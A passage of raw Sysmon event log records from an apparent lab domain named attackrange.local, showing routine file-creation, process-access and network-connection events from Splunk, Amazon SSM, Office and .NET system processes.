Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-029MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013779Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:50.397{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50109-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013778Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:51.576{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=38C58897360E4E92C42DEA8FD04913D3,SHA256=463BE475B3C2720CF37B7A28452F7D8E34B7B4F5C4C78DD73448C736D3861040,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E21A78B5516450AF871BE66495D75069,SHA256=363B68FB925AEBC8805735FEF873A0E38FEED972E2E5664FE4586F6922DBA1E4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.618{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\TokenBroker.dll+1158a|C:\Windows\System32\TokenBroker.dll+d335|C:\Windows\System32\TokenBroker.dll+d669|C:\Windows\System32\TokenBroker.dll+1ff53|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+6203c|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000039586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.618{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\TokenBroker.dll+22ee6|C:\Windows\System32\TokenBroker.dll+114b3|C:\Windows\System32\TokenBroker.dll+d335|C:\Windows\System32\TokenBroker.dll+d669|C:\Windows\System32\TokenBroker.dll+1ff53|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+6203c|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000039585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.565{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F27-613B-3308-00000000F001}4616C:\Windows\system32\DllHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.553{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F27-613B-3308-00000000F001}4616C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.553{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F27-613B-3308-00000000F001}4616C:\Windows\system32\DllHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.536{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.536{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.536{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.536{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.536{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.331{7BD73061-6E89-613B-F206-00000000F001}6128NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-walMD5=ADA7688BD24A836726D475DB070B0CB3,SHA256=31329B64D06D4A0F61AB94A2B86B80ABC06C5CABA4A55619EC0DABCC2F35B169,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.331{7BD73061-6E89-613B-F206-00000000F001}6128NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Office\OTele\integrator.exe.db-shmMD5=4CA384F43BC25FFE82E8385964CB6818,SHA256=2A2218A6A993B817AA0D11FDC3720CA7DC69338998FC2B56DC8CD6BA0A410800,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.128{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=C80B3F3FD865C0C31C52086A38F6DA22,SHA256=F0FFD9AA0991D08834BF192041C2CF3FDD16394CFD952821A1B82F4B02C30EE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.128{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=5F4CC0ED4738C89F56BC57B40E9CFA79,SHA256=2BDBF7C957CB37F9C3AF260E8B57A73976651DA4ED7323FA4C579CF34EA06490,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:51.050{7BD73061-65B2-613B-1400-00000000F001}3401400C:\Windows\system32\svchost.exe{7BD73061-6E89-613B-F206-00000000F001}6128C:\Program Files\Microsoft Office\root\integration\integrator.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013777Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:51.126{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-030MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013780Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:52.625{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03914B2D49BFFC6B96DFE665FA099A3D,SHA256=421DAB11E7E5F4499783D7A7A9466490EFB1C3E8477F4D5E0B74DA620DEC7824,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:52.971{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A3ADBAAFDCC009EB55C00C5D7684D0D,SHA256=ECE190D92559E4E827125C54FDA4BEB7E37E833FF5C3EEC3558A509279887C79,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:52.706{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=84D85C93C7796503451F5BCB8BB0C58F,SHA256=D7885DD6716F28BE113E37FBDFE1BCF81D7D10E748CE2E37041D00F0D7A2E824,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000039590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.239{7BD73061-6E89-613B-F206-00000000F001}6128C:\Program Files\Microsoft Office\root\Integration\Integrator.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59212-false20.44.10.122-443https 354300x800000000000000039589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:50.114{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55933- 23542300x800000000000000039610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=131177E4870B3DFFF70F92D97974C2DA,SHA256=6ECF95058C8F04EA6529B150EF9FCD22B844C4DE14C337F1FA47B7A9596B25CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013781Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:53.687{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6514AF8F9A8B79D35A849644C300C62,SHA256=05F8EBB25D85FF7FE2EC6AE69EB06EBE112F5A8AD410723D5AF32740E2649F7C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.924{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F29-613B-3808-00000000F001}4776C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.893{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F29-613B-3808-00000000F001}4776C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.893{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F29-613B-3808-00000000F001}4776C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.862{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F29-613B-3708-00000000F001}5320C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.846{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F29-613B-3708-00000000F001}5320C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:53.846{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F29-613B-3708-00000000F001}5320C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 